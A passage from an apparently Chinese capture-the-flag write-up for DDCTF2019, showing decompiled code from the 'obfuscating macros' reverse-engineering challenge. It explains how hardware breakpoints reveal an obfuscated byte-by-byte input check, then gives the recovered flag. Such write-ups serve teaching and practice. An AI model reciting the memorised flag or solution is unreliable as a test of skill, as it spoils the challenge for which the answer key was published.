std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, a2, a3);
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v8);
sub_4069D6((__int64)&v8);
v5 = 0;
if ( v3 )
{
sub_4013E6((__int64)&v8, 10LL);
if ( v4 )
v5 = 1;
}
if ( v5 )
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "WELL DONE!");
else
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong answer");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
return 0LL;
}

有两个检查,第一个检查与第二题RE类似,就是检查是否0-9A-F,第二个检查使用了类似OLLVM的混淆,使用硬件断点跟踪输入的读取,发现在0x405FA3附近进行了读取,并且与某个值进行相减,如果相减不为0程序退出,相减为0后续还会读取输入

1
2
3
4
5
6
7
if ( v47 )
{
v4 = (_BYTE *)(*(_QWORD *)vm.p_input)++;// 读取输入0x12
**(_BYTE **)vm.field_10 -= *v4; // 0x79 - 0x12
if ( !v12 )
v12 = 162LL;
if ( !v47 )

在0x405FC6下断点,例如输入1234567890,第一轮比较0x79和0x12,所以将输入改为7934567890继续看第二轮的比较(或者改寄存器),重复以上步骤得到flag

1
2
3
.text:0000000000405FC4                 mov     eax, edx
.text:0000000000405FC6 sub ecx, eax
.text:0000000000405FC8 mov eax, ecx

flag: DDCTF{79406C61E5EEF319CECEE2ED8498}

CATALOG
  1. 1. DDCTF2019
    1. 1.1. WEB
      1. 1.1.1. 滴~
      2. 1.1.2. Web签到题
      3. 1.1.3. Upload-IMG
      4. 1.1.4. homebrew event loop
      5. 1.1.5. 大吉大利,今晚吃鸡
      6. 1.1.6. mysql弱口令
      7. 1.1.7. 欢迎报名DDCTF
      8. 1.1.8. 再来1杯Java
    2. 1.2. MISC
      1. 1.2.1. [PWN] strike
      2. 1.2.2. wireshark
      3. 1.2.3. 北京地铁
      4. 1.2.4. 联盟决策大会
      5. 1.2.5. MulTzor
    3. 1.3. RE
      1. 1.3.1. Windows Reverse1
      2. 1.3.2. Windows Reverse2
      3. 1.3.3. Confused
      4. 1.3.4. obfuscating macros